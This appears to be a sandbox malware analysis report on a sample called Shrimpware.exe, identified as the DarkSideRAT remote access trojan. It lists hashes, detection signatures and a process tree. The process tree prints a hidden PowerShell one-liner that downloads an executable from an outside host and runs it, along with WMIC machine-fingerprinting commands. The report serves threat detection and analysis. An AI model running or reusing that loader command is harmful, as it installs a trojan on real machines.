Analysis
- user interaction
yes - max time kernel
16s - max time network
6s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
16/09/2026, 04:38
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Shrimpware.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
Shrimpware.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
11 signatures
150 seconds
General
- Target Shrimpware.exe
- Size 2.3MB
- Sample260916-e9l6cazv4k
- SHA256 d421e44e4d3d19621afc8b21d728170a8f452acdc68554b0b1d166a8d451036a
- MD5 cdf34353ce91dba08fb7e1810251fa41
- SHA1 6d1d37f5e6e3f03a4387b719f118794e0cc123dc
- SHA512 dc9153092cf153e9e8f4ade4467d5b4581f8af439a1be0a6762653286f2478ec74f5913d5c0eb36ca3b009fa897c7d4329f0f76dd22570ee5efcab87e75aedb9
- SSDEEP 12288:ZPfRGvNDtxfQQ+sgO0xpUf+XApiaNsPWBybSNenkla6xYXuthiAczdXCLEOOTKIL:dRGvNtqQh0rAczqEOOTKI9ncXnC
- TLSH T19DB5094023244061C4B2367DE26FB91A6B7DB14F33E02BD712EDBB09D99B95CC2752E6
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
- Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
- Detects DarkSideRAT 1 IoCs
resource yara_rule behavioral2/files/0x0007000000016ca8-7.dat family_darksiderat - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 6080 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 6080 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 2 6080 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 5696 BK882329.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3176 cmd.exe 4468 cmd.exe 4492 cmd.exe 1276 cmd.exe - Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 3768 WMIC.exe 3768 WMIC.exe 3768 WMIC.exe 3768 WMIC.exe 6080 powershell.exe 6080 powershell.exe 6080 powershell.exe 5468 WMIC.exe 5468 WMIC.exe 5468 WMIC.exe 5468 WMIC.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3768 WMIC.exe Token: SeSecurityPrivilege 3768 WMIC.exe Token: SeTakeOwnershipPrivilege 3768 WMIC.exe Token: SeLoadDriverPrivilege 3768 WMIC.exe Token: SeSystemProfilePrivilege 3768 WMIC.exe Token: SeSystemtimePrivilege 3768 WMIC.exe Token: SeProfSingleProcessPrivilege 3768 WMIC.exe Token: SeIncBasePriorityPrivilege 3768 WMIC.exe Token: SeCreatePagefilePrivilege 3768 WMIC.exe Token: SeBackupPrivilege 3768 WMIC.exe Token: SeRestorePrivilege 3768 WMIC.exe Token: SeShutdownPrivilege 3768 WMIC.exe Token: SeDebugPrivilege 3768 WMIC.exe Token: SeSystemEnvironmentPrivilege 3768 WMIC.exe Token: SeRemoteShutdownPrivilege 3768 WMIC.exe Token: SeUndockPrivilege 3768 WMIC.exe Token: SeManageVolumePrivilege 3768 WMIC.exe Token: 33 3768 WMIC.exe Token: 34 3768 WMIC.exe Token: 35 3768 WMIC.exe Token: 36 3768 WMIC.exe Token: SeIncreaseQuotaPrivilege 3768 WMIC.exe Token: SeSecurityPrivilege 3768 WMIC.exe Token: SeTakeOwnershipPrivilege 3768 WMIC.exe Token: SeLoadDriverPrivilege 3768 WMIC.exe Token: SeSystemProfilePrivilege 3768 WMIC.exe Token: SeSystemtimePrivilege 3768 WMIC.exe Token: SeProfSingleProcessPrivilege 3768 WMIC.exe Token: SeIncBasePriorityPrivilege 3768 WMIC.exe Token: SeCreatePagefilePrivilege 3768 WMIC.exe Token: SeBackupPrivilege 3768 WMIC.exe Token: SeRestorePrivilege 3768 WMIC.exe Token: SeShutdownPrivilege 3768 WMIC.exe Token: SeDebugPrivilege 3768 WMIC.exe Token: SeSystemEnvironmentPrivilege 3768 WMIC.exe Token: SeRemoteShutdownPrivilege 3768 WMIC.exe Token: SeUndockPrivilege 3768 WMIC.exe Token: SeManageVolumePrivilege 3768 WMIC.exe Token: 33 3768 WMIC.exe Token: 34 3768 WMIC.exe Token: 35 3768 WMIC.exe Token: 36 3768 WMIC.exe Token: SeDebugPrivilege 6080 powershell.exe Token: SeIncreaseQuotaPrivilege 5468 WMIC.exe Token: SeSecurityPrivilege 5468 WMIC.exe Token: SeTakeOwnershipPrivilege 5468 WMIC.exe Token: SeLoadDriverPrivilege 5468 WMIC.exe Token: SeSystemProfilePrivilege 5468 WMIC.exe Token: SeSystemtimePrivilege 5468 WMIC.exe Token: SeProfSingleProcessPrivilege 5468 WMIC.exe Token: SeIncBasePriorityPrivilege 5468 WMIC.exe Token: SeCreatePagefilePrivilege 5468 WMIC.exe Token: SeBackupPrivilege 5468 WMIC.exe Token: SeRestorePrivilege 5468 WMIC.exe Token: SeShutdownPrivilege 5468 WMIC.exe Token: SeDebugPrivilege 5468 WMIC.exe Token: SeSystemEnvironmentPrivilege 5468 WMIC.exe Token: SeRemoteShutdownPrivilege 5468 WMIC.exe Token: SeUndockPrivilege 5468 WMIC.exe Token: SeManageVolumePrivilege 5468 WMIC.exe Token: 33 5468 WMIC.exe Token: 34 5468 WMIC.exe Token: 35 5468 WMIC.exe Token: 36 5468 WMIC.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4220 Shrimpware.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4220 wrote to memory of 3176 4220 Shrimpware.exe 89 PID 3176 wrote to memory of 4468 3176 cmd.exe 91 PID 4220 wrote to memory of 4492 4220 Shrimpware.exe 93 PID 4492 wrote to memory of 3768 4492 cmd.exe 96 PID 4468 wrote to memory of 6080 4468 cmd.exe 97 PID 4220 wrote to memory of 1276 4220 Shrimpware.exe 101 PID 1276 wrote to memory of 5468 1276 cmd.exe 103 PID 6080 wrote to memory of 5696 6080 powershell.exe 104
Processes
-
C:\Users\Admin\AppData\Local\Temp\Shrimpware.exe"C:\Users\Admin\AppData\Local\Temp\Shrimpware.exe"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4220 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_Ecyt3x' -OutFile $env:APPDATA\BK882329.exe; Start-Process -FilePath $env:APPDATA\BK882329.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3176 -
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_Ecyt3x' -OutFile $env:APPDATA\BK882329.exe; Start-Process -FilePath $env:APPDATA\BK882329.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4468 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_Ecyt3x' -OutFile $env:APPDATA\BK882329.exe; Start-Process -FilePath $env:APPDATA\BK882329.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6080 -
C:\Users\Admin\AppData\Roaming\BK882329.exe"C:\Users\Admin\AppData\Roaming\BK882329.exe"5⤵
- Executes dropped EXE
PID:5696
-
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /c wmic csproduct get uuid2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4492 -
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3768
-
-
-
C:\Windows\SYSTEM32\cmd.execmd /c wmic bios get serialnumber2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1276 -
C:\Windows\System32\Wbem\WMIC.exewmic bios get serialnumber3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5468
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Roaming\BK882329.exe
- Size 67KB
- SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
- MD5 32b268f7114cd6816d3b1c0558e88f95
- SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
- SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
- SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
- TLSH T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
- MD5 SHA1 SHA512 SSDEEP TLSH